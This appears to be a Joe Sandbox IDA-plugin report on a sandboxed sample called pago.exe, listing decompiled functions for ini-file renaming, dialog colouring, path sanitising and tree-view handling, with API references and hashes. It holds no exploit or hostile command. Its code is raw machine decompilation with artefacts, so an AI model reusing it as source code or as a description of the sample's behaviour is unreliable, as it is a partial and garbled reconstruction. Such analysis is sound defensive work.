                                                                  • Instruction ID: 685928b229c5d1fd60d609eb920d771e11fa4d776b5b66b0bad6c944a0f90ddf
                                                                  • Opcode Fuzzy Hash: 0b784a7e5946d1979f34278c46bba3f41134a9dae7c042527df4b3408295a3c8
                                                                  • Instruction Fuzzy Hash: 1D61D131900205EADB209F64DD80BAE77A5EF54318F22813BE907B72D0D77D99A1CB5D
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 100%
                                                                  			E00406183(void* __ecx) {
                                                                  				void* __ebx;
                                                                  				void* __edi;
                                                                  				void* __esi;
                                                                  				long _t12;
                                                                  				long _t24;
                                                                  				char* _t31;
                                                                  				int _t37;
                                                                  				void* _t38;
                                                                  				intOrPtr* _t39;
                                                                  				long _t42;
                                                                  				WCHAR* _t44;
                                                                  				void* _t46;
                                                                  				void* _t48;
                                                                  				void* _t49;
                                                                  				void* _t52;
                                                                  				void* _t53;
                                                                  
                                                                  				_t38 = __ecx;
                                                                  				_t44 =  *(_t52 + 0x14);
                                                                  				 *0x430908 = 0x55004e;
                                                                  				 *0x43090c = 0x4c;
                                                                  				if(_t44 == 0) {
                                                                  					L3:
                                                                  					_t12 = GetShortPathNameW( *(_t52 + 0x1c), 0x431108, 0x400);
                                                                  					if(_t12 != 0 && _t12 <= 0x400) {
                                                                  						_t37 = wsprintfA(0x430508, "%ls=%ls\r\n", 0x430908, 0x431108);
                                                                  						_t53 = _t52 + 0x10;
                                                                  						E0040657A(_t37, 0x400, 0x431108, 0x431108,  *((intOrPtr*)( *0x434f10 + 0x128)));
                                                                  						_t12 = E0040602D(0x431108, 0xc0000000, 4);
                                                                  						_t48 = _t12;
                                                                  						 *(_t53 + 0x18) = _t48;
                                                                  						if(_t48 != 0xffffffff) {
                                                                  							_t42 = GetFileSize(_t48, 0);
                                                                  							_t6 = _t37 + 0xa; // 0xa
                                                                  							_t46 = GlobalAlloc(0x40, _t42 + _t6);
                                                                  							if(_t46 == 0 || E004060B0(_t48, _t46, _t42) == 0) {
                                                                  								L18:
                                                                  								return CloseHandle(_t48);
                                                                  							} else {
                                                                  								if(E00405F92(_t38, _t46, "[Rename]\r\n") != 0) {
                                                                  									_t49 = E00405F92(_t38, _t21 + 0xa, "\n[");
                                                                  									if(_t49 == 0) {
                                                                  										_t48 =  *(_t53 + 0x18);
                                                                  										L16:
                                                                  										_t24 = _t42;
                                                                  										L17:
                                                                  										E00405FE8(_t24 + _t46, 0x430508, _t37);
                                                                  										SetFilePointer(_t48, 0, 0, 0);
                                                                  										E004060DF(_t48, _t46, _t42 + _t37);
                                                                  										GlobalFree(_t46);
                                                                  										goto L18;
                                                                  									}
                                                                  									_t39 = _t46 + _t42;
                                                                  									_t31 = _t39 + _t37;
                                                                  									while(_t39 > _t49) {
                                                                  										 *_t31 =  *_t39;
                                                                  										_t31 = _t31 - 1;
                                                                  										_t39 = _t39 - 1;
                                                                  									}
                                                                  									_t24 = _t49 - _t46 + 1;
                                                                  									_t48 =  *(_t53 + 0x18);
                                                                  									goto L17;
                                                                  								}
                                                                  								lstrcpyA(_t46 + _t42, "[Rename]\r\n");
                                                                  								_t42 = _t42 + 0xa;
                                                                  								goto L16;
                                                                  							}
                                                                  						}
                                                                  					}
                                                                  				} else {
                                                                  					CloseHandle(E0040602D(_t44, 0, 1));
                                                                  					_t12 = GetShortPathNameW(_t44, 0x430908, 0x400);
                                                                  					if(_t12 != 0 && _t12 <= 0x400) {
                                                                  						goto L3;
                                                                  					}
                                                                  				}
                                                                  				return _t12;
                                                                  			}



















                                                                  0x00406183
                                                                  0x0040618c
                                                                  0x00406193
                                                                  0x0040619d
                                                                  0x004061b1
                                                                  0x004061d9
                                                                  0x004061e4
                                                                  0x004061e8
                                                                  0x00406208
                                                                  0x0040620f
                                                                  0x00406219
                                                                  0x00406226
                                                                  0x0040622b
                                                                  0x00406230
                                                                  0x00406234
                                                                  0x00406243
                                                                  0x00406245
                                                                  0x00406252
                                                                  0x00406256
                                                                  0x004062f1
                                                                  0x00000000
                                                                  0x0040626c
                                                                  0x00406279
                                                                  0x0040629d
                                                                  0x004062a1
                                                                  0x004062c0
                                                                  0x004062c4
                                                                  0x004062c4
                                                                  0x004062c6
                                                                  0x004062cf
                                                                  0x004062da
                                                                  0x004062e5
                                                                  0x004062eb
                                                                  0x00000000
                                                                  0x004062eb
                                                                  0x004062a3
                                                                  0x004062a6
                                                                  0x004062b1
                                                                  0x004062ad
                                                                  0x004062af
                                                                  0x004062b0
                                                                  0x004062b0
                                                                  0x004062b8
                                                                  0x004062ba
                                                                  0x00000000
                                                                  0x004062ba
                                                                  0x00406284
                                                                  0x0040628a
                                                                  0x00000000
                                                                  0x0040628a
                                                                  0x00406256
                                                                  0x00406234
                                                                  0x004061b3
                                                                  0x004061be
                                                                  0x004061c7
                                                                  0x004061cb
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x004061cb
                                                                  0x004062fc

                                                                  APIs
                                                                  • CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,0040631E,?,?), ref: 004061BE
                                                                  • GetShortPathNameW.KERNEL32 ref: 004061C7
                                                                    • Part of subcall function 00405F92: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406277,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FA2
                                                                    • Part of subcall function 00405F92: lstrlenA.KERNEL32(00000000,?,00000000,00406277,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FD4
                                                                  • GetShortPathNameW.KERNEL32 ref: 004061E4
                                                                  • wsprintfA.USER32 ref: 00406202
                                                                  • GetFileSize.KERNEL32(00000000,00000000,00431108,C0000000,00000004,00431108,?,?,?,?,?), ref: 0040623D
                                                                  • GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 0040624C
                                                                  • lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406284
                                                                  • SetFilePointer.KERNEL32(0040A580,00000000,00000000,00000000,00000000,00430508,00000000,-0000000A,0040A580,00000000,[Rename],00000000,00000000,00000000), ref: 004062DA
                                                                  • GlobalFree.KERNEL32 ref: 004062EB
                                                                  • CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004062F2
                                                                    • Part of subcall function 0040602D: GetFileAttributesW.KERNELBASE(00000003,004030BD,C:\Users\user\Desktop\pago.exe,80000000,00000003,?,?,?,?,?,0040387D,?), ref: 00406031
                                                                    • Part of subcall function 0040602D: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,?,?,0040387D,?), ref: 00406053
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
                                                                  • String ID: %ls=%ls$[Rename]
                                                                  • API String ID: 2171350718-461813615
                                                                  • Opcode ID: 6203cc16da91056e546519e3ab518561ff1c14b2742299aa71b9d8e7299f7fea
                                                                  • Instruction ID: 71978d88b6039f89b25a0dfa2ffa892efa56fbf884cfe692307f7793e751c739
                                                                  • Opcode Fuzzy Hash: 6203cc16da91056e546519e3ab518561ff1c14b2742299aa71b9d8e7299f7fea
                                                                  • Instruction Fuzzy Hash: 6A314670200716BBD2207B659D48F6B3A6CEF45754F15017EFA42F62C2EA3CA821867D
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 100%
                                                                  			E00404500(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
                                                                  				struct tagLOGBRUSH _v16;
                                                                  				long _t39;
                                                                  				long _t41;
                                                                  				void* _t44;
                                                                  				signed char _t50;
                                                                  				long* _t54;
                                                                  
                                                                  				if(_a4 + 0xfffffecd > 5) {
                                                                  					L18:
                                                                  					return 0;
                                                                  				}
                                                                  				_t54 = GetWindowLongW(_a12, 0xffffffeb);
                                                                  				if(_t54 == 0 || _t54[2] > 1 || _t54[4] > 2) {
                                                                  					goto L18;
                                                                  				} else {
                                                                  					_t50 = _t54[5];
                                                                  					if((_t50 & 0xffffffe0) != 0) {
                                                                  						goto L18;
                                                                  					}
                                                                  					_t39 =  *_t54;
                                                                  					if((_t50 & 0x00000002) != 0) {
                                                                  						_t39 = GetSysColor(_t39);
                                                                  					}
                                                                  					if((_t54[5] & 0x00000001) != 0) {
                                                                  						SetTextColor(_a8, _t39);
                                                                  					}
                                                                  					SetBkMode(_a8, _t54[4]);
                                                                  					_t41 = _t54[1];
                                                                  					_v16.lbColor = _t41;
                                                                  					if((_t54[5] & 0x00000008) != 0) {
                                                                  						_t41 = GetSysColor(_t41);
                                                                  						_v16.lbColor = _t41;
                                                                  					}
                                                                  					if((_t54[5] & 0x00000004) != 0) {
                                                                  						SetBkColor(_a8, _t41);
                                                                  					}
                                                                  					if((_t54[5] & 0x00000010) != 0) {
                                                                  						_v16.lbStyle = _t54[2];
                                                                  						_t44 = _t54[3];
                                                                  						if(_t44 != 0) {
                                                                  							DeleteObject(_t44);
                                                                  						}
                                                                  						_t54[3] = CreateBrushIndirect( &_v16);
                                                                  					}
                                                                  					return _t54[3];
                                                                  				}
                                                                  			}









                                                                  0x00404512
                                                                  0x004045c8
                                                                  0x00000000
                                                                  0x004045c8
                                                                  0x00404523
                                                                  0x00404527
                                                                  0x00000000
                                                                  0x00404541
                                                                  0x00404541
                                                                  0x0040454a
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x0040454c
                                                                  0x00404558
                                                                  0x0040455b
                                                                  0x0040455b
                                                                  0x00404561
                                                                  0x00404567
                                                                  0x00404567
                                                                  0x00404573
                                                                  0x00404579
                                                                  0x00404580
                                                                  0x00404583
                                                                  0x00404586
                                                                  0x00404588
                                                                  0x00404588
                                                                  0x00404590
                                                                  0x00404596
                                                                  0x00404596
                                                                  0x004045a0
                                                                  0x004045a5
                                                                  0x004045a8
                                                                  0x004045ad
                                                                  0x004045b0
                                                                  0x004045b0
                                                                  0x004045c0
                                                                  0x004045c0
                                                                  0x00000000
                                                                  0x004045c3

                                                                  APIs
                                                                  • GetWindowLongW.USER32(?,000000EB), ref: 0040451D
                                                                  • GetSysColor.USER32(00000000), ref: 0040455B
                                                                  • SetTextColor.GDI32(?,00000000), ref: 00404567
                                                                  • SetBkMode.GDI32(?,?), ref: 00404573
                                                                  • GetSysColor.USER32(?), ref: 00404586
                                                                  • SetBkColor.GDI32(?,?), ref: 00404596
                                                                  • DeleteObject.GDI32(?), ref: 004045B0
                                                                  • CreateBrushIndirect.GDI32(?), ref: 004045BA
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
                                                                  • String ID:
                                                                  • API String ID: 2320649405-0
                                                                  • Opcode ID: f4fe220c79686689299554ac50abea47664d32920eac269e7a43003585d3568b
                                                                  • Instruction ID: 19446832cb8519ea1938040ed984131457e28e93d0b00b9b4dc42373f0e33a15
                                                                  • Opcode Fuzzy Hash: f4fe220c79686689299554ac50abea47664d32920eac269e7a43003585d3568b
                                                                  • Instruction Fuzzy Hash: 382177B1500705AFCB31DF68DD08B5BBBF8AF41714B058A2EEA96B22E1C734E944CB54
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 85%
                                                                  			E732D2480(void* __edx) {
                                                                  				void* _t37;
                                                                  				signed int _t38;
                                                                  				void* _t39;
                                                                  				void* _t41;
                                                                  				signed char* _t42;
                                                                  				signed char* _t51;
                                                                  				void* _t52;
                                                                  				void* _t54;
                                                                  
                                                                  				 *(_t54 + 0x10) = 0 |  *((intOrPtr*)( *((intOrPtr*)(_t54 + 8)) + 0x1014)) > 0x00000000;
                                                                  				while(1) {
                                                                  					_t9 =  *((intOrPtr*)(_t54 + 0x18)) + 0x1018; // 0x1018
                                                                  					_t51 = ( *(_t54 + 0x10) << 5) + _t9;
                                                                  					_t52 = _t51[0x18];
                                                                  					if(_t52 == 0) {
                                                                  						goto L9;
                                                                  					}
                                                                  					_t41 = 0x1a;
                                                                  					if(_t52 == _t41) {
                                                                  						goto L9;
                                                                  					}
                                                                  					if(_t52 != 0xffffffff) {
                                                                  						if(_t52 <= 0 || _t52 > 0x19) {
                                                                  							_t51[0x18] = _t41;
                                                                  							goto L12;
                                                                  						} else {
                                                                  							_t37 = E732D135A(_t52 - 1);
                                                                  							L10:
                                                                  							goto L11;
                                                                  						}
                                                                  					} else {
                                                                  						_t37 = E732D12E3();
                                                                  						L11:
                                                                  						_t52 = _t37;
                                                                  						L12:
                                                                  						_t13 =  &(_t51[8]); // 0x1020
                                                                  						_t42 = _t13;
                                                                  						if(_t51[4] >= 0) {
                                                                  						}
                                                                  						_t38 =  *_t51 & 0x000000ff;
                                                                  						_t51[0x1c] = 0;
                                                                  						if(_t38 > 7) {
                                                                  							L27:
                                                                  							_t39 = GlobalFree(_t52);
                                                                  							if( *(_t54 + 0x10) == 0) {
                                                                  								return _t39;
                                                                  							}
                                                                  							if( *(_t54 + 0x10) !=  *((intOrPtr*)( *((intOrPtr*)(_t54 + 0x18)) + 0x1014))) {
                                                                  								 *(_t54 + 0x10) =  *(_t54 + 0x10) + 1;
                                                                  							} else {
                                                                  								 *(_t54 + 0x10) =  *(_t54 + 0x10) & 0x00000000;
                                                                  							}
                                                                  							continue;
                                                                  						} else {
                                                                  							switch( *((intOrPtr*)(_t38 * 4 +  &M732D25F8))) {
                                                                  								case 0:
                                                                  									 *_t42 = 0;
                                                                  									goto L27;
                                                                  								case 1:
                                                                  									__eax = E732D13B1(__ebp);
                                                                  									goto L21;
                                                                  								case 2:
                                                                  									 *__edi = E732D13B1(__ebp);
                                                                  									__edi[1] = __edx;
                                                                  									goto L27;
                                                                  								case 3:
                                                                  									__eax = GlobalAlloc(0x40,  *0x732d506c);
                                                                  									 *(__esi + 0x1c) = __eax;
                                                                  									__edx = 0;
                                                                  									 *__edi = __eax;
                                                                  									__eax = WideCharToMultiByte(0, 0, __ebp,  *0x732d506c, __eax,  *0x732d506c, 0, 0);
                                                                  									goto L27;
                                                                  								case 4:
                                                                  									__eax = E732D12CC(__ebp);
                                                                  									 *(__esi + 0x1c) = __eax;
                                                                  									L21:
                                                                  									 *__edi = __eax;
                                                                  									goto L27;
                                                                  								case 5:
                                                                  									__eax = GlobalAlloc(0x40, 0x10);
                                                                  									_push(__eax);
                                                                  									 *(__esi + 0x1c) = __eax;
                                                                  									_push(__ebp);
                                                                  									 *__edi = __eax;
                                                                  									__imp__CLSIDFromString();
                                                                  									goto L27;
                                                                  								case 6:
                                                                  									if( *__ebp != __cx) {
                                                                  										__eax = E732D13B1(__ebp);
                                                                  										 *__ebx = __eax;
                                                                  									}
                                                                  									goto L27;
                                                                  								case 7:
                                                                  									 *(__esi + 0x18) =  *(__esi + 0x18) - 1;
                                                                  									( *(__esi + 0x18) - 1) *  *0x732d506c =  *0x732d5074 + ( *(__esi + 0x18) - 1) *  *0x732d506c * 2 + 0x18;
                                                                  									 *__ebx =  *0x732d5074 + ( *(__esi + 0x18) - 1) *  *0x732d506c * 2 + 0x18;
                                                                  									asm("cdq");
                                                                  									__eax = E732D1510(__edx,  *0x732d5074 + ( *(__esi + 0x18) - 1) *  *0x732d506c * 2 + 0x18, __edx,  *0x732d5074 + ( *(__esi + 0x18) - 1) *  *0x732d506c * 2);
                                                                  									goto L27;
                                                                  							}
                                                                  						}
                                                                  					}
                                                                  					L9:
                                                                  					_t37 = E732D12CC(0x732d5044);
                                                                  					goto L10;
                                                                  				}
                                                                  			}











                                                                  0x732d2494
                                                                  0x732d2498
                                                                  0x732d24a3
                                                                  0x732d24a3
                                                                  0x732d24aa
                                                                  0x732d24af
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d24b3
                                                                  0x732d24b6
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d24bb
                                                                  0x732d24c6
                                                                  0x732d24d6
                                                                  0x00000000
                                                                  0x732d24cd
                                                                  0x732d24cf
                                                                  0x732d24e5
                                                                  0x00000000
                                                                  0x732d24e5
                                                                  0x732d24bd
                                                                  0x732d24bd
                                                                  0x732d24e6
                                                                  0x732d24e6
                                                                  0x732d24e8
                                                                  0x732d24ec
                                                                  0x732d24ec
                                                                  0x732d24ef
                                                                  0x732d24ef
                                                                  0x732d24f7
                                                                  0x732d24ff
                                                                  0x732d2502
                                                                  0x732d25c1
                                                                  0x732d25c2
                                                                  0x732d25cd
                                                                  0x732d25f7
                                                                  0x732d25f7
                                                                  0x732d25dd
                                                                  0x732d25e9
                                                                  0x732d25df
                                                                  0x732d25df
                                                                  0x732d25df
                                                                  0x00000000
                                                                  0x732d2508
                                                                  0x732d2508
                                                                  0x00000000
                                                                  0x732d250f
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d2517
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d2525
                                                                  0x732d2527
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d2548
                                                                  0x732d254e
                                                                  0x732d2551
                                                                  0x732d2553
                                                                  0x732d2563
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d2530
                                                                  0x732d2535
                                                                  0x732d2538
                                                                  0x732d2539
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d256f
                                                                  0x732d2575
                                                                  0x732d2576
                                                                  0x732d2579
                                                                  0x732d257a
                                                                  0x732d257c
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d2588
                                                                  0x732d258b
                                                                  0x732d2597
                                                                  0x732d2599
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d25a5
                                                                  0x732d25b1
                                                                  0x732d25b4
                                                                  0x732d25b6
                                                                  0x732d25b9
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x732d2508
                                                                  0x732d2502
                                                                  0x732d24db
                                                                  0x732d24e0
                                                                  0x00000000
                                                                  0x732d24e0

                                                                  APIs
                                                                  • GlobalFree.KERNEL32 ref: 732D25C2
                                                                    • Part of subcall function 732D12CC: lstrcpynW.KERNEL32(00000000,?,732D137F,00000019,732D11CA,-000000A0), ref: 732D12DC
                                                                  • GlobalAlloc.KERNEL32(00000040), ref: 732D2548
                                                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 732D2563
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.905537534.00000000732D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 732D0000, based on PE: true
                                                                  • Associated: 00000000.00000002.905524480.00000000732D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905546264.00000000732D4000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905553229.00000000732D6000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_732d0000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
                                                                  • String ID: @hv
                                                                  • API String ID: 4216380887-3217783804
                                                                  • Opcode ID: 155b30b3751b97eb7c05e3092d4423e57a7cee9b81beca0f29e61fce0820cd8f
                                                                  • Instruction ID: 1476978deacdfcd46d0fb692b6af124093fecadeed8701b11766d51506a2acd2
                                                                  • Opcode Fuzzy Hash: 155b30b3751b97eb7c05e3092d4423e57a7cee9b81beca0f29e61fce0820cd8f
                                                                  • Instruction Fuzzy Hash: 3741D1B1538309DFE758EF25E844F2677F8FB88311F10891DE84A86580EB74A5C4DB61
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 91%
                                                                  			E004067C4(WCHAR* _a4) {
                                                                  				short _t5;
                                                                  				short _t7;
                                                                  				WCHAR* _t19;
                                                                  				WCHAR* _t20;
                                                                  				WCHAR* _t21;
                                                                  
                                                                  				_t20 = _a4;
                                                                  				if( *_t20 == 0x5c && _t20[1] == 0x5c && _t20[2] == 0x3f && _t20[3] == 0x5c) {
                                                                  					_t20 =  &(_t20[4]);
                                                                  				}
                                                                  				if( *_t20 != 0 && E00405E83(_t20) != 0) {
                                                                  					_t20 =  &(_t20[2]);
                                                                  				}
                                                                  				_t5 =  *_t20;
                                                                  				_t21 = _t20;
                                                                  				_t19 = _t20;
                                                                  				if(_t5 != 0) {
                                                                  					do {
                                                                  						if(_t5 > 0x1f &&  *((short*)(E00405E39(L"*?|<>/\":", _t5))) == 0) {
                                                                  							E00405FE8(_t19, _t20, CharNextW(_t20) - _t20 >> 1);
                                                                  							_t19 = CharNextW(_t19);
                                                                  						}
                                                                  						_t20 = CharNextW(_t20);
                                                                  						_t5 =  *_t20;
                                                                  					} while (_t5 != 0);
                                                                  				}
                                                                  				 *_t19 =  *_t19 & 0x00000000;
                                                                  				while(1) {
                                                                  					_push(_t19);
                                                                  					_push(_t21);
                                                                  					_t19 = CharPrevW();
                                                                  					_t7 =  *_t19;
                                                                  					if(_t7 != 0x20 && _t7 != 0x5c) {
                                                                  						break;
                                                                  					}
                                                                  					 *_t19 =  *_t19 & 0x00000000;
                                                                  					if(_t21 < _t19) {
                                                                  						continue;
                                                                  					}
                                                                  					break;
                                                                  				}
                                                                  				return _t7;
                                                                  			}








                                                                  0x004067c6
                                                                  0x004067cf
                                                                  0x004067e6
                                                                  0x004067e6
                                                                  0x004067ed
                                                                  0x004067f9
                                                                  0x004067f9
                                                                  0x004067fc
                                                                  0x004067ff
                                                                  0x00406804
                                                                  0x00406806
                                                                  0x0040680f
                                                                  0x00406813
                                                                  0x00406830
                                                                  0x00406838
                                                                  0x00406838
                                                                  0x0040683d
                                                                  0x0040683f
                                                                  0x00406842
                                                                  0x00406847
                                                                  0x00406848
                                                                  0x0040684c
                                                                  0x0040684c
                                                                  0x0040684d
                                                                  0x00406854
                                                                  0x00406856
                                                                  0x0040685d
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00406865
                                                                  0x0040686b
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x00000000
                                                                  0x0040686b
                                                                  0x00406870

                                                                  APIs
                                                                  • CharNextW.USER32(?,*?|<>/":,00000000,00000000,76F1FAA0,C:\Users\user\AppData\Local\Temp\,?,00403508,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00406827
                                                                  • CharNextW.USER32(?,?,?,00000000,?,00403508,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00406836
                                                                  • CharNextW.USER32(?,00000000,76F1FAA0,C:\Users\user\AppData\Local\Temp\,?,00403508,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 0040683B
                                                                  • CharPrevW.USER32(?,?,76F1FAA0,C:\Users\user\AppData\Local\Temp\,?,00403508,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 0040684E
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.904731122.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                  • Associated: 00000000.00000002.904722931.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904789367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.904817088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905080361.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905088398.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905099739.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905108669.000000000046A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905115425.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905121183.000000000046E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.905134910.000000000047D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_400000_pago.jbxd
                                                                  Similarity
                                                                  • API ID: Char$Next$Prev
                                                                  • String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\
                                                                  • API String ID: 589700163-826357637
                                                                  • Opcode ID: 7f8a10c6574f84f045d99a2f2ba91d71661da1c9dbe2055a6f375f6d39957bd5
                                                                  • Instruction ID: 8e05d213a2b26a47bd0c986db1e6a85e10b5e067f284fb5e9645f7af11a9ce3c
                                                                  • Opcode Fuzzy Hash: 7f8a10c6574f84f045d99a2f2ba91d71661da1c9dbe2055a6f375f6d39957bd5
                                                                  • Instruction Fuzzy Hash: 7311862780161295DB313B158C44A77A2A8AF58798F56843FED86B32C1E77C8C9282AD
                                                                  Uniqueness

                                                                  Uniqueness Score: -1.00%

                                                                  C-Code - Quality: 100%
                                                                  			E00404E54(struct HWND__* _a4, intOrPtr _a8) {
                                                                  				long _v8;
                                                                  				signed char _v12;
                                                                  				unsigned int _v16;
                                                                  				void* _v20;
                                                                  				intOrPtr _v24;
                                                                  				long _v56;
                                                                  				void* _v60;
                                                                  				long _t15;
                                                                  				unsigned int _t19;
                                                                  				signed int _t25;
                                                                  				struct HWND__* _t28;
                                                                  
                                                                  				_t28 = _a4;
                                                                  				_t15 = SendMessageW(_t28, 0x110a, 9, 0);
                                                                  				if(_a8 == 0) {
                                                                  					L4:
                                                                  					_v56 = _t15;
                                                                  					_v60 = 4;
                                                                  					SendMessageW(_t28, 0x113e, 0,  &_v60);
                                                                  					return _v24;
                                                                  				}
                                                                  				_t19 = GetMessagePos();
                                                                  				_v16 = _t19 >> 0x10;
                                                                  				_v20 = _t19;
                                                                  				ScreenToClient(_t28,  &_v20);
                                                                  				_t25 = SendMessageW(_t28, 0x1111, 0,  &_v20);
                                                                  				if((_v12 & 0x00000066) != 0) {
                                                                  					_t15 = _v8;
                                                                  					goto L4;
                                                                  				}
                                                                  				return _t25 | 0xffffffff;
                                                                  			}














                                                                  0x00404e62
                                                                  0x00404e6f
                                                                  0x00404e75
                                                                  0x00404eb3
                                                                  0x00404eb3
                                                                  0x00404ec2
                                                                  0x00404ec9
                                                                  0x00000000
                                                                  0x00404ecb
                                                                  0x00404e77
                                                                  0x00404e86
                                                                  0x00404e8e
                                                                  0x00404e91
                                                                  0x00404ea3
                                                                  0x00404ea9
                                                                  0x00404eb0
                                                                  0x00000000
                                                                  0x00404eb0
                                                                  0x00000000

                                                                  APIs
                                                                  • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404E6F
                                                                  • GetMessagePos.USER32 ref: 00404E77
                                                                  • ScreenToClient.USER32 ref: 00404E91
                                                                  • SendMessageW.USER32(?,00001111,00000000,?), ref: 00404EA3
